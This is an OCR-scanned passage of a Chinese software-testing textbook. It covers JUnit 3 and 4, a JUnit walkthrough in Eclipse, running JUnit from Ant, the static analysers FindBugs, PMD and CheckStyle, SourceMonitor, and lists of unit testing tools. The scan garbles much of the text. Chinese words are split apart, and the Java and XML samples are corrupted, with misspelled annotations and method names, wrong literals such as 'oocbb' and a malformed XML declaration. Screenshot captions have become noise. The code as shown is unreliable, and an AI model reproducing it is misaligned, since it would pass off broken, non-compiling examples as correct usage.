// 测试 Servlet 的 某 个 方法 


Rssert.assertTrue( is. authenticate()); 
// 获得 模拟 服务 器 的 信息 
WebResponse response = sc. getResponse( request); 
// 断言 
Assert.assertTrue( response. getText(). equals("testuser:Hello World!")); 
} catch (Exception e) { 
e. printStackTrace( ); 
} 


5.6 单元 测试 工具 


单元 测试 一 般 针对 程序 代码 进行 测试 ,这 决定 了 其 测试 工具 和 特定 的 编程 语言 密切 相关 ， 
所 以 单元 测试 工具 基本 是 相对 不 同 的 编程 语言 而 存在 ,多 数 集成 开发 环境 (如 Microsoft 
Visual Studio、Eclipse) 会 提供 单元 测试 工具 ,其 至 提供 测试 驱动 开发 方法 所 需要 的 环境 。 最 
典型 的 就 是 xUnit 工具 家 族 。 

(1) JUnit 是 针对 Java 的 单元 测试 工具 。 

(2) CppUnit 是 C++ 单元 测试 工具 。 

(3) NUnit 是 C# (.NET) 单 元 测试 工具 。 

(4) HtmlUnit、JsUnit、PhpUnit、PerlUnit、XmlUnit 则 分 别 是 针对 HTML JavaScript、 
PHP.、Perl .XML 的 单元 测试 工具 (框架 ) 。 

除了 上 述 典 型 的 xUnit 单元 测试 框架 之 外 ,还 有 GoogleTest 单元 测试 框架 (http:// 
code. google. com/p/googletest/), 它 是 基于 xUnit 架构 的 测试 框架 ,在 不 同 平台 上 (Linux， 
Mac OS X, Windows,Cygwin,Windows CE 和 Symbian ) 为 编写 C++ 测试 而 生成 的 ,支持 自动 
发 现 测试 .丰富 的 断言 集 , 用 户 定 义 的 断言 .death 测试 .致命 与 非 致命 的 失败 ,类 型 参数 化 测 
试 .各 类 运行 测试 的 选项 和 XML 的 测试 报告 等 。 


5.6.1 JUnit 介绍 


JUnit 是 一 个 开放 源 代码 的 Java 测试 框架 ,用 在 编写 和 运行 可 重复 的 测试 脚本 之 上 。 它 
是 单元 测试 框架 体系 xUnit 的 一 个 实例 。JUnit 框架 功能 强大 ,目前 已 成 为 Java 单元 测试 的 
事实 标准 ,如 果 与 Mock 对 象 .HttpUnit、.DBUnit 等 配合 使 用 ,基本 上 能 满足 日 常 的 测试 要 求 。 
JUnit 主要 特性 如 下 。 

(1) 可 以 使 测试 代码 与 产品 代码 分 开 , 这 更 有 利于 代码 的 打包 发 布 和 测试 代码 的 管理 。 

(2) 针对 某 一 个 类 的 测试 代码 ,以 较 少 的 改动 便 可 以 应 用 另 一 个 类 的 测试 ,JUnit 提供 了 
一 个 编写 测试 类 的 框架 ,使 测试 代码 的 编写 更 加 方便 。 

(3) 易于 集成 到 程序 中 的 构建 过 程 中 ,JUnit 和 Ant 的 结合 还 可 以 实施 增 量 开发 。 

(4) JUnit 的 源 代码 是 公开 的 ,故而 可 以 进行 二 次 开发 。 

(5) JUnit 具有 很 强 的 扩展 性 ,可 以 方便 地 对 JUnit 进行 扩展 。 

JUnit 一 共有 7 个 包 . 如 图 5-4 所 示 , 其 核心 的 包 是 junit. framework 和 junit runner。framework 
包 负责 整个 测试 对 象 的 构建 ,runner 负责 测试 驱动 ,JUnit 有 4 个 重要 的 类 ,分 别 是 TestSuite、 
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5-4 JUnit 的 7 个 核心 类 之 间 的 关系 图 


(1) Assert 类 用 来 验证 条 件 是 否 成 立 , 当 条 件 成 立时 ,assert 方法 保持 沉默 , 若 条 件 不 成 
立时 就 抛 出 异常 。 

(2) Test 接口 用 来 测试 和 收集 测试 的 结果 ,Test 接口 采用 了 Composite 设计 模式 , 它 是 
单独 的 测试 用 例 ,聚合 的 测试 模式 以 及 测试 扩展 的 共同 接口 。 

(3) TestCase 抽象 类 用 来 定义 测试 中 的 固定 方法 ,TestCase 是 Test 接口 的 抽象 实现 ,由 
于 TestCase 是 一 个 抽象 类 ,因此 不 能 被 实例 化 ,只 能 被 继承 。 其 构造 函数 可 以 根据 输入 的 测 
试 名 称 来 创建 一 个 测试 用 例 ,提供 测试 名 的 目的 在 于 方便 测试 失败 时 查找 失败 的 测试 用 例 。 

(4) TestSuite 是 由 几 个 TestCase 或 其 他 的 TestSuite 构成 的 。 可 以 很 容易 构成 一 个 树 
形 测 试 , 每 个 测试 都 由 持 有 另外 一 些 测试 的 TestSuite 来 构成 。 被 加 入 到 TestSuite 中 的 测试 
在 一 个 线程 上 依次 被 执行 。 

(5) TestResult 负责 收集 TestCase 所 执行 的 结果 , 它 将 结果 分 类 ,分 为 客户 可 预测 的 错 
误 和 没有 预测 的 错误 , 它 还 将 测试 结果 转发 到 TestListener 处 理 。 

(6) TestRunner 是 客户 对 象 调 用 的 起 点 , 它 负 责 对 整个 测试 过 程 进 行 跟踪 。 它 能 够 显示 
测试 结果 ,并 且 报 告 测试 的 进度 。 

(7) TestListenter 包含 4 个 方法 : addError() ,addFailuer() ,startTest() 和 endTest() 。 
它 是 对 测试 结果 的 处 理 和 对 测试 驱动 过 程 的 工作 特征 进行 提取 。 

JUnit 4 是 配合 JDK 1.5 版 本 的 ,与 之 对 应 的 Ant 需要 在 1.7 版 本 以 上 ,与 JUnit 3. x 相 
比 ,JUnit 4 有 如 下 新 的 改动 。 


(1) JUnit 原 使 用 命名 约定 和 反射 机 制 来 定位 测试 ,而 在 JUnit 4 中 ,测试 是 由 @Test 注 
释 来 识别 的 。 如 : 


67 import org.junit.Test; 


68 import junit.framework.TestCase; 

69 Ppublic class AdditionTest extends TestCase { 
70 private int x = 1; 

71 private int y= 1; 

72 

736 BTesc public void ceschddicion() { 

74 int z= x+Yy; 

75 assertEquals (2, 2z); 

76 } 


第 73 行 的 @Test, 代 表 要 测试 此 方法 。 

(2) JUnit 3. x 在 运行 每 个 测试 之 前 自动 调用 setUp() 方 法 。 该 方法 一 般 会 初始 化 字段 、 
打开 日 志 记录 , 重 置 环境 变量 等 。 在 JUnit 4 中 ,不 再 需要 使 用 setUp() ,而 是 用 @Before 注释 
来 指示 即 可 。 

(3) JUnit 3. x 测试 之 后 调用 tearDown() 方 法 ,在 JUnit 4 中 使 用 @After 注释 来 指示 。 

(4) JUnit 4 中 不 再 需要 在 超 类 中 显 式 调 用 初始 化 和 清除 方法 ,只 要 它们 不 被 覆盖 即 可 ， 
测试 运行 程序 将 根据 需要 自动 调用 这 些 方法 。 超 类 中 的 @Before 方法 在 子 类 中 的 @Before 方 
法 之 前 被 调用 (这 反映 了 构造 函数 调用 的 顺序 )。@ After 方法 以 反方 向 运行 : 子 类 中 的 方法 
在 超 类 中 的 方法 之 前 被 调用 。 

(5) JUnit 4 引入 了 另外 一 个 新 特性 : 类 范围 的 setUp() 和 tearDown() 方 法 。 任 何 
@BeforeClass 注释 的 方法 都 将 在 该 类 中 的 测试 方法 运行 之 前 刚好 运行 一 次 ,而 任何 
@AfterClass 注释 的 方法 都 将 在 该 类 中 的 所 有 测试 都 运行 之 后 刚好 运行 一 次 。 

5.6.2 Eclipse 中 JUnit 应 用 举例 

JUnit 软件 包 可 从 http://www. junit. org/ 下 载 ,并 作为 一 个 Java 的 扩展 库 在 Eclipse 中 
安装 。 如 图 5-5 所 示 ,在 Eclipse 菜单 Project 的 子 项 Properties 中 选择 Java Build Path 命令 ， 
单 击 Libraries 标签 , 单 击 Add External JARs 按钮 , 即 可 选择 junit. jar 或 junit-4. 11. jar, 单 击 
打开 ,就 完成 了 JUnit 的 安装 。 
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5-5 在 Eclipse 中 安装 外 部 Java 应 用 包 的 界面 


Java 中 工具 类 (Util) 的 功能 相对 、 简 单 , 一 般 不 涉及 复杂 的 业务 逻辑 ,如 求 一 个 数 的 最 大 
公约 数 .数值 转换 、 字 符 串 简单 操作 、 拼 URL 等 。 这 里 以 JUnit 4 为 例 讲解 如 何 进行 单元 
测试 。 

(1) 建立 一 个 被 JUnit 测试 的 类 。 

为 了 便于 讲解 ,这 里 以 一 个 简单 的 StringUtil. java 的 工具 类 作为 被 测试 的 类 , 它 就 是 将 两 


个 传人 的 字符 串 连接 在 一 起 ,程序 代码 如 下 : 


2 public class StringUcil { 
39 Lisled 


4 ”功能 : 对 传 入 的 两 个 字符 串 进行 连接 

5 . 

6 ~* 8param strl String 第 一 个 传 入 的 字符 串 
7 * 8param str2 String 第 二 个 传 入 的 字符 串 
8 * 要 求 : 传 入 的 两 个 字符 时 都 不 能 为 nu11 

9 "retorn String 经 过 连接 后 的 字符 串 

10 eV/ 

119 public String add5cring(Scring stri, String str2) { 
12 return strl + str2; 

13 } 

14 } 


(2) 建立 其 对 应 的 Junit Test 类 。 
在 需要 建立 Junit 的 包 内 右 击 ,选择 New|Junit Test Case 命令 ,然后 在 弹出 的 对 话 框 中 


进行 如 下 的 设置 。 

@ Package: 类 文件 所 在 的 包 , 因 为 本 例 为 default package, 所 以 就 没有 出 现 相应 的 包 
路 径 。 

@ Name: 新 建 的 测试 类 名 称 。 一 般 命 名 规则 是 : Test 十 测试 的 类 名 , 即 TestStringUtil。 

@ Class under test: 需要 针对 哪个 类 进行 测试 ,这 里 就 是 StringUtil。 

设置 好 后 , 单 击 Next 按钮 ,选择 对 该 类 中 的 哪些 方法 进行 测试 。 因 为 本 例 中 只 有 一 个 
addString 方法 ,所 以 就 选择 它 。 单 击 Finsh 按钮 后 ,就 会 有 如 下 的 代码 自动 生成 。 


@import static org,.junit.Assert.si 


public class StringUtilTest2 { 
6 @BeforeClass 
public static void setUpBeforeClass() throws Exception { 
} 


© @AfterCloss 
public static void tearDownAfterClass() throws Exception { 


Se @Before 
public void setUp() throws Exception { 
} 


已 @Test 
public void test() { 
fail("Not yet implemented"); 
} 


} 


(3) 针对 自动 生成 的 代码 ,进行 补充 修改 ,使 其 满足 对 特定 功能 的 测试 。 
本 例 中 注释 掉 testAddString 方法 中 自动 生成 的 fail("Not yet implemented") ;语句 ,加 上 


需要 测试 的 内 容 。 


W% Simport static org,junit.Assert .si 


import org.junit.AfterClass; 
import org. junit.Before; 

import org. junit.BeforeClass; 
import org. junit.Test; 

import junit. fromework. TestCase; 


public class TestStringUtil extends TestCase{ 
e @BeforeClass 


public static void setUpBeforeClass() throws Exception { 
} 


© @AfterClass 
public static void tearDownAfterClass() throws Exception { 
} 


© epefore 
Ws public void setUp(》 throws Exception { 
} 


9 @Test 
public void testaddString() { 
//foil("Not yet implemented"); 
StringUtil a ~ new StringUtil(); 
assertEquals("oocbb",a.addString("aa", "bb")); 
} 


} 
(4) 执行 测试 。 


右 击 TestStringUtil, 选 择 Run As|JUnit Test 命令 。 如 果 正 确 会 出 现 绿色 的 提示 条 , 代 
表 这 个 测试 案例 能 正常 工作 ,如 图 5-6 所 示 。 
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public stotic votd teorDounAfterCloss() throws Exception { 
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< pubttc votd setUp() throms Exception ( 
} 


= est 
pubtic void testoddstring() { 
// FoilC°Not yet implemented"); 
StringUtil o = new StringUtil(); 
ossertEquols("“oobb" ,a.0ddString("o0", "bb")); 


三 falure Trace 加 } 


图 5-6 JUnit test case 测试 正确 示例 


如 果 失 败 会 出 现 红色 的 失败 条 ,并 会 出 现 错误 的 原因 和 数目 。 例 如 ,将 assertEquals 
("aabb" ,a. addString("aa","bb")); 改 为 : assertEquals("cc",a. addString("aa","bb")); 两 
个 字符 串 aa 与 bb 的 连接 ,不 可 能 等 于 cc 的 ,修改 后 再 运行 一 下 ,会 出 现 错误 ,如 图 5-7 所 示 。 

从 上 面 可 以 看 出 一 个 失效 (Failures:1), 测 试 人 员 还 能 进一步 查看 出 错 的 具体 结果 
(Failure Trace)。 单 击 “testaddString (0. 008s)”, FailureTrace 将 在 下 面 显示 具体 失效 信息 : 
junit framework. ComparisonFailure: expected: <[cc]> but was:<[aabb]>at TestStringUtil. 
testAddString( TestStringUtil. java:29) 。 
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5-7 JUnit test case 测试 出 错 示例 
双击 此 信息 ,会 出 现 Result Comparison 对 话 框 ,说 明 期 望 值 cc 与 实际 结果 为 aabb 不 符 ， 
测试 没 通过 。 
5.6.3 JUnit 十 Ant 构建 自动 的 单元 测试 


Ant (Another Neat Tool) 是 一 种 基于 Java 的 build 工具 。 理 论 上 来 说 , 它 有 些 类 似 于 
(UNIX)C 中 的 make, 与 基于 shell 命令 的 扩展 模式 不 同 ,Ant 用 Java 的 类 来 扩展 。 用 户 不 必 
编写 shell 命令 ,配置 文件 是 基于 XML 的 ,通过 调用 target 树 ,就 可 执行 各 种 task。 每 个 task 
由 实现 了 特定 接口 的 对 象 来 运行 。Ant 支持 一 些 可 选 task ,一 个 可 选 task 一 般 需要 额外 的 库 
才能 工作 。 可 选 task 与 Ant 的 内 置 task 分 开 , 单 独 打包 。 

Ant 本 身 就 是 脚本 执行 的 引擎 ,用 于 自动 调用 程序 完成 项 目的 编译 .打包 和 测试 等 。 在 
build. xml 中 加 入 JUnit 测试 的 设置 ,可 以 测试 单个 类 ,也 可 以 测试 批量 类 ,设置 代码 参考 如 下 。 


1 <?xml versionn"1.0”encodingm"UTF-8"3> 
2 <project name="Build All Elements" defaulte"runtests" basedire"."> 
39<target name="runtests"> 


5 <!-- 为 构建 设置 全 局 的 属性 --> 

6 <property name="src" location="src"/> 

7 <property name="classes" location="classes"/> 

8 <property name="junit_lib" location="d:\junit3.8.1\junit.jar"/> 


9 
109 <junit printsummary="yes" haltonfailure="yes"> 

115 -<classpath> 

12 <pathelement path="${classes}" /> 

13 <pathelement path="${junit_lib}" /> 

14 </classpath> 

15 <!-- 单个 测试 类 --> 

16 <test name="TestHelloNorld" haltonfailure="yes" /> 
17 <!-- 批量 调用 测试 类 --> 

18 <:!-- 

19 <batchtest fork="yes" todir="${classes}"> 

208 <fileset diz="${src}"> 

21 <include name="**/Test* .java"/> 

22 /fileser> 

23 </barchtest> 

24 --> 


25 </junit> 
26 </target> 
7 </project> 


5.6.4 代码 的 静态 检测 工具 


上 面 介绍 了 基于 JUnit 这 样 的 单元 测试 框架 进行 的 单元 测试 , 即 通 过 执行 单元 代码 验证 
单元 的 功能 正确 性 ,完成 逻辑 控制 .输入 和 输出 数据 等 验证 。 这 就 是 单元 的 动态 测试 ,其 测试 
成 本 很 高 ,而 且 不 容易 发 现 违背 代码 规范 和 其 他 一 些 潜在 的 代码 自身 的 问题 。 所 以 ,不 仅 要 进 
行动 态 测试 ,还 要 进行 单元 的 静态 测试 , 即 上 面 所 说 的 代码 评审 。 但 是 ,如 果 靠 编程 人 员 自 行 
检查 代码 ,不仅 工作 量 大 ,而且 测 试 过 程 缺少 准确 性 和 可 靠 性 。 这 时 ,最 好 的 办 法 就 是 借助 静 
态 检 测 工 具 来 完成 单元 代码 的 静态 测试 。 

代码 的 静态 检测 工具 比较 多 ,包括 : 

(1) 支持 Java 语言 检测 的 CheckStyle、FindBugs、PMD 等 。 

(2) 支持 C++ 语言 的 Parasoft Ct++Test、PRQA QA。C+t+ 等 。 

静态 测试 工具 虽然 要 引入 一 些 新 规则 ,但 其 维护 工作 量 很 低 , 越 来 越 受 到 人 们 的 关注 。 如 
果 将 静态 测试 工具 集成 到 项 目的 每 日 构建 (Daily Build) 中 ,通过 不 断 的 检查 与 修改 来 减少 软 
件 缺 陷 可 能 存在 的 地 方 ,效果 更 好 。 这 里 以 FindBugs (http://findbugs. sourceforge. net) 为 
例 , 介 绍 如 何 使 用 静态 测试 工具 。 

FindBugs 实际 是 扫描 和 分 析 Java 字 节 码 (. class 文件 ) ,如果 选 上 . class 文件 对 应 的 源 文件 
(.java 文件 ) ,可 以 定位 到 出 问题 的 代码 行 。FindBugs 支持 在 JRE 中 独立 运行 ,也 可 以 在 开发 环 
境 Eclipse 中 运行 。Findbugs 的 Eclipse 插件 位 置 为 : http://findbugs. sourceforge. net/ downloads, 
html, 安 装 后 ,可 以 在 Eclipse 的 Preferences 中 Java 选项 看 到 FindBugs, 用 户 可 以 完成 其 报告 选 
项 .过 滤 文 件 和 规则 等 浏览 和 设置 ,如 图 5-8 所 示 。FindBugs 检查 的 问题 有 以 下 几 类 。 


王 -一 人 TDZTTTTT Feerhles Plugins and misc. Sertings Derector configuration } 


Minimum rank to repo 一 一- 一 
(1 Is most severe, 20 is leasy Minimum confidence to report: 
15 (Of Concern) 


图 5-8 FindBugs 设置 的 主要 界面 


(1) 恶意 的 代码 安全 漏洞 ; 
(2) 可 疑 的 或 危险 的 代码 ; 
(3) 不 良 实践 ; 

(4) 正确 性 ; 

(5) 国际 化 问题 ; 

(6) 性 能 ; 

(7) 安全 性 ; 


(8) 多 线程 问题 ; 
(9) 经 验 性 的 问题 。 
如 果 要 了 解 上 述 各 类 问题 的 具体 描述 ,可 参见 “探测 器 配置 (Deteactor configuration)” 选 


项 卡 ,如 图 5-9 所 示 。 


——— Reponer Configuration Fier files Plugins and misc sevings BET 一 一 一 


Disabled detectors will not participate in FindBugs analysis. 
‘Grayed our detectors will run, however they will not report any resuhts to the UL. 
口 Show hidden detectors 
| ee em Speed Provider Categoy -一 
AppendingToAnObjectOutputSveam IO fast FindBugs Correctness 
AtomicityProblem AT fast FindBugs Multithreaded correctness 
| 口 BadAppletConstructor BAC fast FindBugs Correctness 
加 bad 5 SQL fast FindBugs Correctness 
MS BadSyntaxFe ularExpression RE fast FindBugs Correctness 
回 BadUseOfReturnValue RV fast FindBugs Dodgy code 
图 Badyoverridd er BOA fast FindBugs Correctness 
| 加 BooleanReturnNull Np fast FindBugs Bad practice 
口 CallToUnsupportedMethod Om fast FindBugs Dodgy code 
日 pecte Fe fast FindBugs 
图 heckimmutableAnnonation Kp fast FindBugs Bad practice 
[| InessAnnotation Np fast FindBugs Dodgy code 
图 CheckTypeQualifiers TQ Siow FindBugs Correctne551Dodgy codel 
Comparatoridiom Se fast FindBugs Bad practice 
ig sedinheritance a fast 站 Dodgy code 
图 ConfusionBetweeninheritedAndOuterMe .A moderate 。 FindBugs Dodgy code 
加 HRSIPTIXSS 。 fast FindBugs Securty 
| 回 Dm fast RindBugs 
| Doin op fast FindBugs MallGous code vuinerablity 
DontCatchillegalMonitorStateExcs IMSE fast FindBugs Bad practice 
UD DontignoreRe: fAbser Ry fast FindBugs Multithreaded 
DontseEnum Nm fast FindBugs Bad practice 
Detector detalls 
0U. Um.cS hn ] 
Th cetector looks for volatlons of the dioms for writing cloneable dasses. | 


Reported patte 
CNLIDIOM (EN BAD_PRACTICE): Class implements Cloneable but does not define or use clone method 
CALL (CN, BAD_PRACTICE): clone method does not call super.cloneO 
CN IMPLEMENTS CLONE BUT NOT CLONEABLE (CN, BAD PRACTICEL_ Class defines cloneN but doesn't imolement 


图 5-9 FindBugs 探测 器 的 设置 和 说 明 


其 运行 很 简单 ,选择 要 被 测试 的 . class 或 源 文件 , 右 击 选择 FindBugs 菜单 ,执行 
FindBugs ,检测 完 成 后 生成 报告 。 表 5-2 对 FindBugs 和 其 他 两 个 静态 分 析 工 具 PMD、 
CheckStyle 进行 了 比较 ,可 进一步 了 解 FindBugs 的 特点 。 


表 5-2 CheckStyle/PMD 与 FindBugs 主要 功能 


工具 目的 检查 项 

基于 Bug Patterns 概念 , 查找 | bytecode 中 的 bug patterns, 如 code 性 能 、 
FindBugs 检查 . class | Java 源 文 件 和 bytecode(. class | NullPoint 空 指针 检查 、 没 有 合理 关闭 资源 、 字 符 
文件 ) 中 的 潜在 Bug 串 相同 判断 错 (一 一 ,而 不 是 equals) 等 

空 try/catch/finally/switch 语句 块 

未 使 用 的 局 部 变量 .参数 和 private 方法 

PMD 检查 源 文件 检查 Java 源 文件 中 的 潜在 问题 | 空 过 /while 语句 

过 于 复杂 的 表达 式 ,如 不 必要 的 计 语 句 等 
复杂 类 

Javadoc 注释 

命名 规范 

CheckStyle 检查 源 | 检查 Java 源 文件 是 否 与 代码 规 | 多 余 的 Imports 

文件 主要 关注 格式 ”| 范 相符 Size 度量 ,如 过 长 的 方法 

缺少 必要 的 空格 

重复 代码 


5.6.5 SourceMonitor 检测 代码 复杂 度 


利用 SourceMonitor 可 以 为 C++、C、C# 、Java、Delphi、Visual Basic 和 HTML 的 源 代码 
文件 测试 代码 数量 和 性 能 。 最 终结 果 可 以 描绘 成 图 ,输出 打印 。 众 多 的 实践 与 经 验证 明 , 如 果 
一 个 代码 过 于 复杂 ,那么 这 个 代码 出 现 的 缺陷 数目 会 成 几何 级 数 的 上 升 ,并 且 给 后 期 的 维护 带 
来 很 大 的 困难 ,所 以 用 SourceMonitor 检查 后 ,一 方面 测试 人 员 可 以 对 代码 自身 复杂 度 高 , 深 
度 嵌 套 深 的 类 进行 有 针对 性 的 加 强 测试 ,开发 人 员 也 应 该 要 考虑 重 构 ,对 已 有 方法 进行 合理 的 
抽取 提炼 与 分 层 。 

从 网 上 下 载 SourceMonitor 软件 ,安装 非常 简单 。 安 装 以 后 ,就 可 以 从 File 菜单 中 选择 
New Project 命令 ,并 选择 项 目 语言 (如 Java) 和 源 代码 所 在 的 目录 (如 E:\myappNsrc) 。 然 后 ， 
单 击 Next 按钮 直至 出 现 如 图 5-10 所 示 的 页 面 ,默认 是 所 选择 目录 下 所 有 的 Java 文件 都 会 检 
查 , 如 果 不 想 检 查 可 以 移动 到 左边 。 


Fies Not n New 


5-10 ”确定 被 检查 的 文件 


单 击 OK 按钮 后 ,等 待 一 会 儿 数 据 就 会 生成 。 双 击 第 一 行 的 Baseline 则 每 个 文件 的 详细 
信息 都 会 列 出 来 ,如 图 5-11 所 示 。 图 中 可 以 按 字段 排序 ,很 方便 地 定位 哪些 类 复杂 度 高 .哪些 
类 深度 高 ,以 及 一 些 其 他 的 衡量 指标 。 

选 定 某 个 类 , 右 击 鼠标 ,选择 View Source File 命令 ,可 以 查看 文件 源 代码 ,方便 定位 到 哪 
个 类 复杂 度 最 高 (Max Complexity) ,哪个 类 深度 最 深 (Max Depth) ,以 及 可 以 方便 地 定位 到 导 
致 复杂 度 最 高 与 深度 最 高 的 方法 在 什么 地 方 ,以 便 有 针对 性 地 测试 。 单 击 View Source File 
命令 后 ,如 图 5-12 所 示 , 上 面 有 两 个 按钮 : 

(1) 深度 最 高 的 块 To Deepest Block(depth 王 5); 

(2) 复杂 度 最 高 的 方法 To Most Complex Method (8)。 

这 样 就 能 很 方便 地 定位 到 什么 地 方 导致 深度 高 ,代码 复杂 。 

SourceMonitor 小 巧 简单 ,很 容易 上 手 使 用 ,并 且 很 容易 定位 分 析 需 要 着 重 测试 或 重 构 的 
代码 。 修 改 代码 完 后 ,能 很 简便 地 看 到 改动 后 的 效果 ,所 以 对 代码 复杂 度 分 析 是 一 个 比较 好 的 
选择 。 一 般 来 说 ,对 于 大 型 的 项 目 , 每 个 类 的 复杂 度 不 应 大 于 50, 每 个 类 的 深度 不 应 高 于 6, 如 
果 超 过 了 这 个 标准 就 可 以 考虑 重 构 这 部 分 代码 ,这 样 对 于 后 期 的 维护 是 有 很 大 帮助 的 。 
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5-11 各 个 源 文件 的 代码 复杂 度 检查 结果 


File Edt View Window Help 
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// 仅 用 于 测试 DB 连接 是 否 正确 的 类 
A 


* DOCUMENT ME! 

* Gauthor Sauthor$ 

+ @version $Revision$ 
“/ 


lic class ConnectDB ( 
es 
* DOCUMENT ME! 


* Bparam args DOCUMENT ME! 
wf 


public static void main(scring[] args) { 
Connection conn = null; 


try { 
String userName = "root™"; 
String password = "admin"; 
String url = "jdbc:mysql://localhost:3306/mysql"; 
Class.forName ("com.mysql.jdbc.Driver") .newInstance(); 


图 5-12 单个 文件 的 代码 复杂 度 具 体 信息 


5.6.6 开源 的 单元 测试 工具 


通过 JUnit 了 解 了 单元 测试 工具 的 基本 构成 和 功能 。 实 际 上 ,JUnit 只 是 开源 的 单元 测试 
工具 中 的 一 个 代表 ,还 有 许多 开源 的 单元 测试 工具 可 以 使 用 。 例 如 ,在 JUnit 基础 之 上 扩展 的 


一 些 工 具 , 如 Boost\Cactus\CUTest JellyUnit Junitperf JunitEE、Pisces 和 QtUnit 等 。 

在 选择 测试 工具 时 ,首先 可 考虑 开源 工具 ,毕竟 开源 工具 投入 成 本 低 ,而且 有 了 源 代码 ,能 
结合 自己 特定 的 需求 进行 修改 .扩展 ,具有 良好 的 定制 性 和 适应 性 。 如 果 开 源 工 具 不 能 满足 要 
求 ,再 考虑 选用 商业 工具 。 

1. C/C++ 语言 单元 测试 工具 

(1) 适合 各 种 操作 系统 : C Unit Test System,CppTest,CppUnit,CxxTest。 

(2) Win32/Linux/Mac OS X: UnitTest 十 十 。 

(3) Win32/Solaris/Linux: Splint。 

(4) Mac OS X: ObjcUnit, OCUnit, TestKit。 

(5) UNIX: cutee。 

(6) Linux: GUNit。 

(7) Windows: simplectest。 

(8) 嵌入 式 系统 : Embedded Unit。 

(9) 其 他 : Cgreen、POSIX Check。 

2. Java 语言 单元 测试 工具 

(1) TestNG 的 灵感 来 自 JUnit, 消 除了 老 框架 的 大 多 数 限制 ,使 开发 人 员 可 以 编写 更 加 
灵活 的 测试 代码 ,处 理 更 复杂 、 量 更 大 的 测试 。 

(2) PMD(http://pmd. sourceforge. net/) 是 一 款 采 用 BSD 协议 发 布 的 Java 程序 代码 检 
查 工具 ,功能 强 .效率 高 ,能 检查 Java 代码 中 是 否 含有 未 使 用 的 变量 、 是 否 含有 空 的 抓 取 块 .是 
否 含有 不 必要 的 对 象 或 过 于 复杂 的 表达 式 、 宛 余 代 码 等 。 

(3) CheckStyle、FindBugs、Jalopy 都 是 代码 静态 测试 工具 。 

(4) Surrogate Test framework 是 基于 AspectJ 技术 ,适合 于 大 型 .复杂 Java 系统 的 单元 
测试 框架 ,并 与 JUnit\MockEJB 和 各 种 支持 Mock 对 象 的 测试 工具 无 颖 结合 。 

(5) Mock Object 类 工具 : MockObjects、 Xdoclet、 EasyMock 、MockCreator、 MockEJB、 
ObjcUnitjMock 等 。 例 如 ,EasyMock 通过 简单 的 方法 对 于 指定 的 接口 或 类 生成 Mock 对 象 
的 类 库 ,把 测试 与 测试 边界 以 外 的 对 象 隔离 开 , 利 用 对 接口 或 类 的 模拟 来 辅助 单元 测试 。 

(6) Mockrunner 是 J2EE 环境 中 的 单元 测试 工具 ,包括 JDBC、JMS 测试 框架 ,支持 
Struts、Servlets、.EJB、 过 滤器 和 标签 类 。 

(7) Dojo Objective Harness 是 Web 2.0 (Ajax)UI 开发 人 员 用 于 JUnit 的 工具 。 与 已 有 
的 JavaScript 单元 测试 框架 (比如 JSUnit) 不 同 , DOH 不 仅 能 够 自动 处 理 JavaScript 函数 ,还 
可 以 通过 命令 行 界面 和 基于 浏览 器 的 界面 完成 UI 的 单元 测试 。 

(8) jWebUnit (http://jwebunit. sourceforge. net/) 基 于 Java 的 测试 网 络 程序 的 框架 , 提 
供 了 一 套 测试 见证 和 程序 导航 标准 。 以 HttpUnit 和 JUnit 单元 测试 框架 为 基础 ,提供 了 导航 
Web 应 用 程序 的 高 级 API, 并 通过 一 系列 断言 的 组 合 来 验证 链接 导航 、 表 单 输入 项 和 提交 、 表 
格 内 容 以 及 其 他 典型 商务 Web 应 用 程序 特性 的 正确 性 。jWebUnit 以 JAR 文件 形式 存在 ,很 
容易 和 大 多 数 IDE 集成 起 来 。 

(9) JSFUnit 测试 框架 是 构建 在 HttpUnit 和 Apache Cactus 之 上 ,对 JSF (Java Server 
Faces) 应 用 和 JSF AJAX 组 件 实施 单元 测试 ,在 同一 个 测试 类 里 测试 JSF 产品 的 客户 端 和 服 
务 器 端 。 支 持 RichFaces 和 Ajax4jsf 组 件 ,还 提供 了 JSFTimer 组 件 来 执行 JSF 生命 周期 的 性 


能 分 析 。 通 过 JSFUnit API, 测 试 类 方法 可 以 提交 表单 数据 ,并 且 验 证 管理 的 bean 是 否 被 正 
确 更 新 。 借 助 Shale 测试 框架 (Apache 项 目 ) ,可 以 对 Servlet 和 JSF 组 件 的 Mock 对 象 实现 ， 
也 可 以 借助 Eclipse Web Tools Platform(WTP) 和 JXInsight 协助 对 JSF 应 用 进行 更 有 效 的 
测试 。 

3. 其 他 语言 单元 测试 工具 

(1) HtmlUnit 是 JUnit 的 扩展 测试 框架 之 一 ,使 用 例如 table、form 等 标识 符 将 测试 文档 
作为 HTML 来 处 理 。 

(2) NUnit 是 类 似 于 JUnit、 针 对 C# 语 言 的 单元 测试 工具 。NUnit 利用 了 许多 . NET 的 
特性 ,如 反射 机 制 。NUnitForms 是 NUnit 在 WinFrom 上 的 扩展 。 

(3) TestDriven. Net 就 是 以 插件 的 形式 集成 在 Visual Studio 中 的 单元 测试 工具 ,其 前 身 
是 NUnitAddIn。 个 人 版 可 以 免费 下 载 使 用 ,企业 版 是 商业 化 的 工具 。 

(4) PHPUnit 是 针对 PHP 语言 的 单元 测试 工具 。 

(5) DUnit 是 xUnit 家 族 中 的 一 员 , 用 于 Delphi 的 单元 测试 。 

(6) SQLUnit 是 xUnit 家 族 的 一 员 , 以 XML 的 方式 来 编写 ,用 于 对 存储 过 程 进行 单元 测 
试 ,也 可 以 用 于 针对 数据 库 数据 ,性 能 的 测试 等 。 

(7) Easyb 是 一 个 基于 Groovy 行为 驱动 开发 的 测试 工具 ,为 Java 和 Groovy 测试 。 

(8) RSpec 是 Ruby 语言 的 新 一 代 测 试 工具 ,与 Ruby 的 核心 库 Test: :Unit 相 比 功能 上 
非常 接近 。RSpec 的 优点 是 可 以 容易 地 编写 领域 特定 语言 (Domain Specific Language,DSL) ， 
其 目标 是 支持 BDD(Behaviour-Driven Development' 行为 驱动 开发 ), BDD 是 一 种 融合 了 
TDDt、Acceptance Test Driven Planning 和 Domain Driven Design 的 一 种 敏捷 开发 模型 。 

(9) ZenTest 也 是 针对 Ruby 语言 的 单元 测试 工具 ,可 以 和 Anutotest 一 起 使 用 。 


5.6.7 商业 的 单元 测试 工具 


Java/ PHP/Ruby 等 语言 的 单元 测试 工具 以 开源 工具 为 主 ,而 C/C++ 语言 的 单元 测试 工 
具 以 商业 工具 为 主 ,例如 ,Parasoft C++、PR QA .C/C++、CompuWare DevPartner for Visual 
